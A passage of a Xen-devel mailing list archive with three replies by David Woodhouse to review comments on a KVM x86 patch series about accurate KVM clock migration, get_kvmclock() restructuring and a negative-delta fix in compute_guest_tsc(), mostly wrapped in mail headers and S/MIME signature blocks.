 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a646a2d-b7e8-0a2a450b0019-5a9b3222c82a-3
 for <multiple-recipients>; Sat, 25 Jul 2026 09:47:57 +0200
Received: from [2001:8b0:10b:5:5b17:8d34:712e:739e]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wnX6j-00000005lYS-2DkA; Sat, 25 Jul 2026 07:47:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=QXkK/9Px96JKbHfq/UN3bBzmYtF2w6Ep+yDY5BATFc4=; b=NHzOuIGof+pE+Q7lMzP4z9Uvaq
	W2Wx1WNA62tXxqzuUoLI5xA5nCsBqoryYhBDMwxMOIR0y9MuZYI6OVU79Cy998y5+9Z6NITu0+5wm
	MoI0vCH4FwMy6zpPkKRNdxIGZWlfVge2jQheGsHd3bExYuXpcFWhyY7yC+Ez7YJPU2sVU9xqBM9fh
	t+zm7rwNdTDfkxu6HeoRTdDQCL8K0Mdqi2G1xJ4Ei06pbyxuMED9g77+4G1lLnRA32pkIi9WrpJa4
	HwrX7ouoH3cwxSLjsoFRi6Sg/scaMOAsDTRuIazlNHo3xMoepMK6gq426Zh3QKhCCpwl2YrftYkds
	Kb/wH3ew==;
Message-ID: <e8e7554debef481d13265f0870e847e2fa37f7c2.camel@infradead.org>
Subject: Re: [PATCH v6 05/36] KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for
 accurate KVM clock migration
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Sat, 25 Jul 2026 08:47:40 +0100
In-Reply-To: <amPWX8lKXw2KS_kZ@google.com>
References: <20260703212145.343527-1-dwmw2@infradead.org>
	 <20260703212145.343527-6-dwmw2@infradead.org> <amPWX8lKXw2KS_kZ@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-rBtXsowMEivQPp4CPNL1"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-42698a/1784965678-ABED69EA-B142622D/0/0
X-purgate-type: clean
X-purgate-size: 13126


--=-rBtXsowMEivQPp4CPNL1
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, 2026-07-24 at 14:17 -0700, Sean Christopherson wrote:
> On Fri, Jul 03, 2026, David Woodhouse wrote:
> > From: Jack Allister <jalliste@amazon.com>
> >=20
> > In the common case (where kvm->arch.use_master_clock is true), the KVM
> > clock is defined as a simple arithmetic function of the guest TSC, base=
d
> > on a reference point stored in kvm->arch.master_kernel_ns and
> > kvm->arch.master_cycle_now.
> >=20
> > The existing KVM_[GS]ET_CLOCK functionality does not allow for this
> > relationship to be precisely saved and restored by userspace. All it ca=
n
> > currently do is set the KVM clock at a given UTC reference time, which
> > is necessarily imprecise.
> >=20
> > So on live update, the guest TSC can remain cycle accurate at precisely
> > the same offset from the host TSC, but there is no way for userspace to
> > restore the KVM clock accurately.
> >=20
> > Even on live migration to a new host, where the accuracy of the guest
> > time-keeping is fundamentally limited by the accuracy of wallclock
> > synchronization between the source and destination hosts, the clock jum=
p
> > experienced by the guest's TSC and its KVM clock should at least be
> > *consistent*. Even when the guest TSC suffers a discontinuity, its KVM
> > clock should still remain the *same* arithmetic function of the guest
> > TSC, and not suffer an *additional* discontinuity.
> >=20
> > To allow for accurate migration of the KVM clock, add per-vCPU ioctls
> > which save and restore the actual PV clock info in
> > pvclock_vcpu_time_info.
> >=20
> > The restoration in KVM_SET_CLOCK_GUEST works by creating a new referenc=
e
> > point in time just as kvm_update_masterclock() does, and calculating th=
e
> > corresponding guest TSC value. This guest TSC value is then passed
> > through the user-provided pvclock structure to generate the *intended*
> > KVM clock value at that point in time, and through the *actual* KVM
> > clock calculation. Then kvm->arch.kvmclock_offset is adjusted to
> > eliminate the difference.
> >=20
> > Where kvm->arch.use_master_clock is false (because the host TSC is
> > unreliable, or the guest TSCs are configured strangely), the KVM clock
> > is *not* defined as a function of the guest TSC so KVM_GET_CLOCK_GUEST
> > returns an error. In this case, as documented, userspace shall use the
> > legacy KVM_GET_CLOCK ioctl. The loss of precision is acceptable in this
> > case since the clocks are imprecise in this mode anyway.
> >=20
> > On *restoration*, if kvm->arch.use_master_clock is false, an error is
> > returned for similar reasons and userspace shall fall back to using
> > KVM_SET_CLOCK. This does mean that, as documented, userspace needs to
> > use *both* KVM_GET_CLOCK_GUEST and KVM_GET_CLOCK and send both results
> > with the migration data (unless the intent is to refuse to resume on a
> > host with bad TSC).
>=20
> Please post this as a standalone mini-series.=C2=A0 AFAICT, the only depe=
ndency of
> any kind is a minor conflict with the s/hw_tsc_khz/hw_tsc_hz change, and =
that's
> trivial to sort out later on.

Hm? The calculations in kvm_vcpu_ioctl_set_clock_guest() are all Hz-
based, not kHz. This *was* the start of the series (Jack posted it on
its own in 2024), and I thought I'd moved the khz/hz thing to live
before it on purpose?

The kvm_xen_shared_info_init() one could be later, I guess. But is also
trivial (and its commit message sets the stage for a bunch of the
cleanups by analysing the various *different* ways that kvmclock gets
derived).=20

I confess I'm not stunningly keen on breaking the series up. How about
we just do it in stages? Merge patch 1 as it's fairly trivial, and then
I can use its commit ID when I refer to its taxonomy later. Then we can
do patches 2-6 which are the KVM_[GS]ET_CLOCK_GUEST support. And I can
repost the remainder on top of that?

> > +4.145 KVM_GET_CLOCK_GUEST
> > +----------------------------
> > +
> > +:Capability: none
>=20
> Why not add a CAP?=C2=A0 The check in the subsequent selftest is quite gr=
oss.

Because nobody would ever use it in practice anyway. Even if the ioctl
is present, you *still* have to try it and fall back to the old method
because there are ways that a *guest* can force master clock mode off.

--=-rBtXsowMEivQPp4CPNL1
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCE8Ew
ggWvMIIEl6ADAgECAhANkOKMSmGXhF5eMl0rsRhvMA0GCSqGSIb3DQEBDAUAMGUxCzAJBgNVBAYT
AlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJDAi
BgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBHMjAeFw0yNDAzMTMwMDAwMDBaFw0zNDAz
MTIyMzU5NTlaMGIxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwgSW5jLjE6MDgGA1UE
AxMxRGlnaUNlcnQgQXNzdXJlZCBHMiBTTUlNRSBSU0E0MDk2IFNIQTM4NCAyMDI0IENBMTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAOfSIeC0vv1xPQ+dgSxbIIrkaru6skAWJYaGFzmv
q4Kq+2wU2jxhcWlJg/JeP5jEkq/LM3pn5aaLao79j+XRmS7J1ZpJKUODJVoM4s9MQJhTMvo4qS5Z
S64g6QR7Obkz3I1Lr3aWeSBmDDEyzue+NKtuWZ1Cxy3RdXo/w5HgRc3l2AercOM3Gt1XonTzEtTb
Z/Hwc0Sn9Gz8RmGRK6Ka4hVDl8q/2l110KaV233Kh5etP0csXS8MIMdVRfRu3sc5hp13DG7lCKzK
72a2GEpI8Wpl26G6I1/LMzz/98T+FqjTqxsdquk7Cj7m2vKGLW1BorpQH7WFGPdJQXJe1hfbfiZA
CcVdCtl4nAacFacmsi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DoMPhEtzriRH0AAAAAAAA=


--=-rBtXsowMEivQPp4CPNL1--


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 07:53:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 07:53:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370493.1618603 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnXCE-0007iV-IR; Sat, 25 Jul 2026 07:53:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370493.1618603; Sat, 25 Jul 2026 07:53:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnXCE-0007iO-Ea; Sat, 25 Jul 2026 07:53:22 +0000
Received: by outflank-mailman (input) for mailman id 1370493;
 Sat, 25 Jul 2026 07:53:21 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wnXCD-0007hz-6V
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 07:53:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnXCC-008j9h-75; Sat, 25 Jul 2026 09:53:20 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a646b02-2eae-0a2a0a5409dd-0a2a450bdd18-42
 for <multiple-recipients>; Sat, 25 Jul 2026 09:53:19 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a646b6f-b7e8-0a2a450b0019-5a9b3222b0a8-3
 for <multiple-recipients>; Sat, 25 Jul 2026 09:53:19 +0200
Received: from [2001:8b0:10b:5:5b17:8d34:712e:739e]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wnXC2-00000005m2Y-0C0t; Sat, 25 Jul 2026 07:53:10 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=M7/WPeZBsoSxpSBfBI8WVo8T/ypKP3M2wrzRNig2VKw=; b=jQJzK/k5mkE0L75BzBmn3dFEas
	yUHKOFQQg+oCysnYyYZqERqQbVSo66xWrv/uIxZxBBrMZ0qOaCVZiHXxSgtc/8QKzvuRsJ6HHSWhv
	EXJvwQYXikZaWdqjk1sOXOoYCltxxBUvm/QoXIaqds2ywS8XT0odgoI+tWbcQzhIEZ/7vkK0nmZ2V
	BguA+Kn21kLNKexp/kXAFklWhT/nu5jADnNpAuaDS9bhbpf8NqweOm1pRE8DrKOqmUQkwZ+91tuM9
	4IDG3+TsbTP7HG+4zUK1OzYRyAxMcgQwMmBkw3E2REVopAsHF9c27R4o9K6h+iH2cIcjb+pLPKXvY
	6ZgPq7xw==;
Message-ID: <19ec3f984a494a0d5e97b8d2fa843668b953a212.camel@infradead.org>
Subject: Re: [PATCH v6 12/36] KVM: x86: Restructure get_kvmclock()
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Sat, 25 Jul 2026 08:53:09 +0100
In-Reply-To: <amPZRkxTLE-rZcJf@google.com>
References: <20260703212145.343527-1-dwmw2@infradead.org>
	 <20260703212145.343527-13-dwmw2@infradead.org>
	 <amPZRkxTLE-rZcJf@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-Y6nBW7nV6dQqWGAjG/7v"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-42698a/1784965999-19AC09EA-3442FE1B/0/0
X-purgate-type: clean
X-purgate-size: 10184


--=-Y6nBW7nV6dQqWGAjG/7v
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, 2026-07-24 at 14:29 -0700, Sean Christopherson wrote:
> =C2=A0
> > Given that, the get_cpu()/put_cpu() pinning is not needed either: both
> > the TSC read and get_cpu_tsc_khz() are CPU-independent when the master
> > clock is in use, so drop them.
> >=20
> > Wrap the entire use_master_clock block in #ifdef CONFIG_X86_64, since
> > use_master_clock is never true on 32-bit (host_tsc_clocksource is only
> > set under CONFIG_X86_64), and declare hv_clock inside the block so it i=
s
> > not left as an unused variable on 32-bit.
> >=20
> > Use 'continue' on the master-clock success path so the non-master-clock
> > computation becomes the common tail, avoiding a goto and label. When th=
e
> > clock read fails (e.g. clocksource transitioning away from TSC), fall
> > back to that path rather than proceeding with uninitialised data or
> > spinning in the seqcount loop.
>=20
> Please split this up.=C2=A0 The changelog suggests there are at least thr=
ee logical
> changes here.=C2=A0 Yeah, the series is big, but smaller patches helps wi=
th review,
> even if it results in more total patches.

I don't think the latter two are separable; the refactoring of the
ifdef and the loop and the way it breaks out to the tail are all
intertwined. I may be able to pull the get_cpu()/get_cpu_tsc_khz() part
out into a preliminary commit though. I'll take a look.

--=-Y6nBW7nV6dQqWGAjG/7v
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC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QsIEluYy4xOjA4BgNVBAMTMURpZ2lDZXJ0IEFz
c3VyZWQgRzIgU01JTUUgUlNBNDA5NiBTSEEzODQgMjAyNCBDQTECEAM1KLa7MmyR8R04yjiFXSAw
DQYJKoZIhvcNAQEBBQAEggIAPmmHGnIj4nkqf3KDfUVZ6Jaqm5xm7CYAsNLdI51GHWIwZUYVTcfK
I3N6WUA4JK2yncQNPVvMBp1bfLbtK5ukEyZUURqBwOCMA/Ku9Uj2ommEiOlWryHjTBbNUPRq6vWn
hnQv/Q9GsiYl/8Nd4Zw3dLIL/74s3le6uJCnI3ppG+76MCo8RDkQOljemngBTz0elKSYTI5JGjeD
2N/SyMi3VvHfWAtwPsifhA7eyTlgt7CZGQhI17NiMwcj/0KQeO3wJxDbRUH2+0kTBUXOOfBWSQ3i
Cq79eG6qsCSFYfKKKkWkpnJu/lMpZBMxiNxWtVW573rCWkf36/5uzOfhvyi8IQOOu4N2QU7LTN+N
U6uu0vLUxEUQ0QZ5bb430lAS8GLmnJd5KA/FNLFkmy6Ney6xRZ9g0vprOekhTpJWuXup65COg+mQ
IdMq6hUu4/t2W/yXywlKOPxuGE/1pE5LUFryAcniGLhPepLPmC8C1AHlhpfBmIBu+/BfRIpof/OP
8IsmzE7MfZJ9nerVdhiP7vhqo7tpNKyL5L37i2WglvBCOwhDSxvEc3RX3iw2tsH4wQlzcYl2Y7pZ
MBvGCYvhh9UDBIl7FAa2h/rboOoKMoybeztbwC5Oq3a3Y/ywJ3WGWil2r/Ci91F7nGfhQWGf7dfP
FBSXqUX4XQapnr3n3/NQ3KkAAAAAAAA=


--=-Y6nBW7nV6dQqWGAjG/7v--


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 07:56:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 07:56:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370502.1618612 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnXFg-0008Tn-4E; Sat, 25 Jul 2026 07:56:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370502.1618612; Sat, 25 Jul 2026 07:56:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnXFg-0008Tg-0z; Sat, 25 Jul 2026 07:56:56 +0000
Received: by outflank-mailman (input) for mailman id 1370502;
 Sat, 25 Jul 2026 07:56:55 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wnXFf-0008Ta-7z
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 07:56:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnXFe-00DlrV-AD; Sat, 25 Jul 2026 09:56:54 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a646c02-e002-0a2a0a5209dd-0a2a4508cacc-36
 for <multiple-recipients>; Sat, 25 Jul 2026 09:56:53 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a646c45-f659-0a2a45080019-5a9b3222b648-3
 for <multiple-recipients>; Sat, 25 Jul 2026 09:56:53 +0200
Received: from [2001:8b0:10b:5:5b17:8d34:712e:739e]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wnXFW-00000005mS3-31BS; Sat, 25 Jul 2026 07:56:46 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=1qABX9vINQPftk3vF3d3lgoPe1oYQvcL3sVi03wzJpo=; b=sOORCWKM8W+VUb/S1Zus69/eCu
	Die6st5bOthOpDs1R7JJYD1M3Rcm2I5+gnoalPrcGdtjvts8zG1mxP22sl3x8wI+RfMxRWT4vAGJB
	EC5NcPx7oMw7veoVWncvG69X3UskoD0/I5e3oc0i1wZUW70DjWVN/Izi/43xOnA8rnvxe0C9e9lCW
	td9t0p3kus3nLuqpwVMAxa3k6S+cvyhqTTm08kChwwBATVCXoVXyV7/edvYKtL/GKI8giUKYOKeo9
	hiCb+57+QeUPFv7egNaOqGzHab83DgrCNAoP7Hy7bKlPOG/LpnCNAoZ6r1Qn4LAu+Krce87ORCJnC
	g8/2rQuQ==;
Message-ID: <b38f67187d3312c4bf2c9eddf89e14e8b10573d6.camel@infradead.org>
Subject: Re: [PATCH v6 15/36] KVM: x86: Fix compute_guest_tsc() to handle
 negative time deltas
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Sat, 25 Jul 2026 08:56:45 +0100
In-Reply-To: <amPYq48J9TPbmFNl@google.com>
References: <20260703212145.343527-1-dwmw2@infradead.org>
	 <20260703212145.343527-16-dwmw2@infradead.org>
	 <amPYq48J9TPbmFNl@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-7lSfI0le9i6p711gUU0E"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c1860d/1784966213-D437587B-DF5B48AC/0/0
X-purgate-type: clean
X-purgate-size: 10151


--=-7lSfI0le9i6p711gUU0E
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Fri, 2026-07-24 at 14:27 -0700, Sean Christopherson wrote:
> On Fri, Jul 03, 2026, David Woodhouse wrote:
> > From: David Woodhouse <dwmw@amazon.co.uk>
> >=20
> > The compute_guest_tsc() function computes the guest TSC at a given
> > kernel_ns timestamp. When the master clock reference point
> > (master_kernel_ns) is earlier than vcpu->arch.this_tsc_nsec, the delta
> > is negative. Since pvclock_scale_delta() takes a u64, the negative
> > value wraps to a huge positive number, producing a wildly wrong result.
> >=20
> > Handle negative deltas explicitly by negating the delta, scaling it,
> > and subtracting from this_tsc_write.
>=20
> Does this need=20
>=20
> =C2=A0 Cc: stable@vger.kernel.org
>=20
> or is this a "technically a bug fix, but can't happen in practice" sort o=
f thing?

Honestly, there's so much hosed in kvmclock that we could debate a
cc:stable for half of this series. I'm not doing *any* of this to
actually add new features. For this one I'm not sure it's reachable in
practice; I think I did it mostly to shut Sashiko up.

I think even in the KVM_SET_CLOCK_GUEST it can't trigger, although I
have fantasies about changing the way KVM_SET_CLOCK_GUEST works to fix
that final =C2=B11ns imprecision (which requires separate work on the
timekeeping core), that *might* trigger the negative delta here...

--=-7lSfI0le9i6p711gUU0E
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCE8Ew
ggWvMIIEl6ADAgECAhANkOKMSmGXhF5eMl0rsRhvMA0GCSqGSIb3DQEBDAUAMGUxCzAJBgNVBAYT
AlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJDAi
BgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBHMjAeFw0yNDAzMTMwMDAwMDBaFw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YpQ20N1G5GTdccZVEPmvgvDOlSVoD8
wmjD5XWBM+U8WRg9iAtel/RTR8Ug3dNYW+jRNFJSHQfkt3oYdD9pAwQWXGRW0nlmymbpFgSxyTXN
m1Fzonf1mWhou60ztz5L4auqzNE/CvDnqGstnF0svZSJcRhUQQO5Pmxw8z4jxMA1OcHT9JeZujdg
DPmjlf81KGwtmvf3T6wgnKQYk2dkQQ0VcQ2m4YndrbCDEDZ36xL1r56EEBNhznbGG2Jo2aI1cUDo
jtnL1BG3Wo6RZrHRDtmxPydJTEVUemwj1sLmvuCPmNoehT1GsjRCjc2K882vAE2IxyrLvwZljzIp
syHzUSuMD/bBEvE2WOaTxztuCmHrOq/itsieTTCehnP4MzPW0mZFo1cnbJ5eWKfSFGv96sGs7VKk
r7SF0AcsvVVD2erjr+z/TW7Op8CttVbn9YrL+xYas46yZHWUhibg3UK2UcdoKpNFg5a5FGUmXEeu
ZvNq6lr//X1byU9Sw97ZzhFxFj2HzmQxuxuV1tBSllT4vcF2EpTAp6pOBxx/mTtjnG3sJVQDGzYi
BkglX3ezIgYHcS1sKsiat+YAAAAAAAA=


--=-7lSfI0le9i6p711gUU0E--


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 07:59:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 07:59:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370510.1618622 (Exim 4.92)
